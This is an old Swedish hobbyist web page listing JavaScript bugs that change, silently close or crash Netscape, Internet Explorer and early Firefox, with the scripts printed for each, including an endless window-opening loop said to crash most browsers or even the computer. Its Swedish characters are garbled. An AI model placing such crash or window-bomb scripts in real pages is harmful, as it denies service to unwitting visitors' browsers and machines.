Till Startsidan

JAVASCRIPT SL�R UT DE B�STA WEBBL�SARNA

Om buggarna
�ndra webbl�sarens utseende [Netscape 4]
St�ng webbl�sarens f�nster [Netscape 3; Netscape 4; Firefox 1.0]
Krascha webbl�saren [Netscape 4; Ger scriptfel i Netscape 3]
Krascha webbl�saren [Explorer 4]
Krascha webbl�saren [Explorer 5]
D�da webbl�saren [M�nga webbl�sare]
Koda Netscape 3 & 4

Jag har tidigare skrivit flera script som med mycket simpla metoder lyckas krascha dem senaste versionerna av dem modernaste webbl�sarna. Hittills har jag hittat buggar d�r man med JavaScript kan krascha:
  • Netscape 3
  • Netscape 4
  • Internet Explorer 4
  • Internet Explorer 5
  • Firefox 1.0
Det hela styrs allts� med hj�lp av spr�ket JavaScript (som n�stan alla internetanv�ndares webbl�sare anv�nder). Din webbl�sare st�djer JavaScript.

Vissa script h�r kraschar webbl�saren medan andra lyckas st�nga ner webbl�sarf�nstret utan att du som anv�ndare varnas om detta. Det finns �ven ett script som kan �ndra webbl�sarens utseende (t.ex. genom att d�lja eller visa webbl�sarmenyn eller statusbar).
Vilka script som fungerar med vilka webbl�sare framg�r nedan.

Att testa scripten �r helt ofarligt, men eftersom din webbl�sare kan st�ngas ner av scriptet s� rekommenderas du att bookmarka denna sida s� du kan hitta tillbaka hit n�r webbl�saren kraschat.

N�got som kan verka ganska f�rv�nande �r att den bugg som jag en g�ng hittade som kraschade Netscape 3 senare �ven fanns kvar i Netscape 4, och 9 �r efter att Netscape 3 sl�pptes (1996) finns exakt samma bugg kvar i Firefox (som bygger p� Netscapes kod).

T�nk p� att senare versioner av respektive webbl�sare kan ha r�ttats till s� att buggarna inte fungerar.

Jag �r underf�rst�dd med detta...
Scripten p� denna sida kan utf�ra handlingar som kan vara o�nskade. F�r att ingen av misstag ska trycka p� l�nkarna utan vetskap om vad scripten g�r s� kommer scripten inte kunna aktiveras om inte rutan h�r bredvid kryssats i. F�r att kunna anv�nda scripten, kryssa helt enkelt i rutan.

�ndra webbl�sarens utseende [Netscape 4]
Webbl�sarens utseende ska (som det fr�n b�rjan var t�nkt) bara kunna �ndras av anv�ndaren, men icke sa nicke, nu kan alla sitta och �ndra sina bes�kares webbl�sare.
Om du vill testa att �ndra ditt f�nster nu s� kan du trycka p� knappen nedan.


F�r de JavaScript-kunniga s� �r scriptet f�r buggen:

<SCRIPT LANGUAGE="javascript">
<!--
//   Scriptet som kan �ndra webbl�sarens utseende - NN4.
//   Ange attributen som det nyformaterade f�nstret ska ha.

window.open("","_top","toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes");

//-->
</SCRIPT>



St�ng webbl�sarens f�nster [Netscape 3; Netscape 4; Firefox 1.0]
I Netscape s� kan du inte bara redigera bes�karens f�nster, du kan �ven st�nga den helt fullst�ndigt. Dvs, det f�nster som bes�karen anv�nder f�r att bes�ka din sida st�ngs. Med Explorer s� tillfr�gas bes�karen om man vill st�nga f�nstret eller inte.
Ivrig p� att testa?
Tryck p� knappen nedan f�r att st�nga din webbl�sare.


Om du kan JavaScript s� finns scriptets kod h�r:

<SCRIPT LANGUAGE="javascript">
<!--
//   Scriptet som st�nger webbl�saren - NN3, NN4, Firefox 1.0.

window.top.open("","_top");    // G�r s� att f�nstret blir "_top", d� beh�vs inte n�gon f�rfr�gning n�r f�nstret st�ngs.
window.top.close();            // St�nger f�nstret (nu utan f�rfr�gning).

//-->
</SCRIPT>



Krascha webbl�saren [Netscape 4; Ger scriptfel i Netscape 3]
En sak som kan vara otroligt irriterande �r d� man anv�nder nedanst�ende script, som kraschar webbl�saren.
Netscape 3 f�r dock endast tre felmeddelanden


H�r �r scriptet till detta irrierande script.

<SCRIPT LANGUAGE="javascript">
<!--
//   Kraschar webbl�saren - NN4.
//   Netscape 3-anv�ndare f�r tre felmeddelanden

y="ÿ"

//-->
</SCRIPT>



Krascha webbl�saren [Explorer 4]
Denna bugg kraschar Internet Explorer 4. N�r scriptet aktiveras s� kraschar webbl�saren och f�nstret st�ngs.

<SCRIPT LANGUAGE="javascript">
<!--
//   Kraschar webbl�saren - IE4.
//   Scriptet skriver ut en text till en SELECT-tagg,
//   och eftersom en s�dan kanske inte finns p� sidan s� skapas
//   en sida med denna tagg som sedan scriptet skriver till

document.open();
document.write("<HTML><HEAD><TITLE></TITLE></HEAD><BODY><FORM><SELECT><OPTION VALUE='' SELECTED></OPTION></SELECT></FORM><SCRIPT>document.forms[0].elements[0].options[document.forms[0].elements[0].length-1].text=document.forms[0].elements[0].options[document.forms[0].elements[0].selectedIndex].text;</SCRIPT></BODY></HTML>")
document.close();

//-->
</SCRIPT>



Krascha webbl�saren [Explorer 5]
Denna bugg kraschar Internet Explorer 5. N�r scriptet aktiveras s� kraschar webbl�saren och f�nstret st�ngs.

<SCRIPT LANGUAGE="javascript">
<!--
//   Kraschar webbl�saren - IE5.
//   Scriptet skapar en sida med en bild, som precis n�r bilden
//   skapats kraschar webbl�saren.
//   Gl�m inte att "bild.gif" m�ste finnas i den katalog som filen med scriptet finns i.

document.open();
document.write("<HTML><HEAD><TITLE></TITLE></HEAD><BODY><IMG NAME=\"a\" SRC=\"bild.gif\" onLoad=\"document.images['a'].src='bild.gif';\"></BODY></HTML>");
document.close();

//-->
</SCRIPT>



D�da webbl�saren [M�nga webbl�sare]
Detta script tar k�l p� de flesta webbl�sare, fast �r trots detta inte en bugg, utan ett script som �ppnar o�ndligt med f�nster. Detta �r allts� ingen bugg, fast att inget inbyggt skydd finns hos webbl�sarna kan ju verka ganska idiotiskt. Det scriptet g�r �r att hela tiden �ppna nya f�nster, som i sin tur ocks� �ppnar nya f�nster, �nda tills webbl�saren kanske kraschar. Detta fungerar med v�ldigt m�nga webbl�sare och �r bland de s�kraste s�tten att krascha en ok�nd webbl�sare.
Ibland kan hela datorn krascha, ibland bara webbl�saren.


Koden f�r detta script �r:

<SCRIPT LANGUAGE="javascript">
<!--
//   �ppna o�ndligt med f�nster.

while (1==1)
window.open("javascript:while (1==1)window.open('',Math.round(Math.random()*1000000000),'')",Math.round(Math.random()*1000000000),"");

//-->
</SCRIPT>

Tack vare dessa buggar kan man koda Netscape 3 och 4 p� sin egen h�rddisk. Dock s� kan man ta sig f�rbi om man �r en van anv�ndare som kan mycket om datorer, men skyddet �r perfekt f�r den med sm� barn som "chattar" hela dagarna. ;)
F�r att koda en sida g�r du s� h�r (namnen nedan �r f�r den engelska versionen, det f�rsta som st�r f�r Netscape 4 och det andra f�r Netscape 3):
  1. G� upp i menyn "Edit"/"Options".
  2. V�lj "Preferences..."/"General Preferences...".
  3. Skriv din genererade kod som skapas i f�ltet nedan i det stora f�ltet (under "Preferences..."):
  4. Se till att "Home Page"/"Home Page Location" �r valt.
  5. Tryck p� "OK", allt �r f�rdigt.

Om n�gon har kodat din Netscape eller om du har gl�mt din kod kan du kn�cka koden s� h�r:

  1. S�k efter filen "prefs.js" p� din dator (finns n�gonstans under katalogen "Netscape").
  2. Leta upp raden "user_pref("browser.startup.homepage", "" och �ndra ALLT som st�r efter ovanst�ende textremsa p� den raden till "file:///C:/".
  3. Spara nu filen (OBS: l�t Netscape vara st�ngt medan du har filen "prefs.js" �ppen).

Det �r allts� i ovanst�ende fil som din kod kan l�sas av en duktig dataanv�ndare.


Har du kodat Netscape men sedan vill ta bort kodningen (och kan den nuvarande koden) s� beh�ver du bara starta Netscape och �ndra startsida till vad som helst.


Tillbaka till alla scripten






Copyright © Omid Rouhani 1997-2022; Alla r�ttigheter reserverade.
Guider: [ HTML guide ] - [ JavaScript guide ] - [ DHTML guide ] - [ Perl guide ] - [ Sitemap ]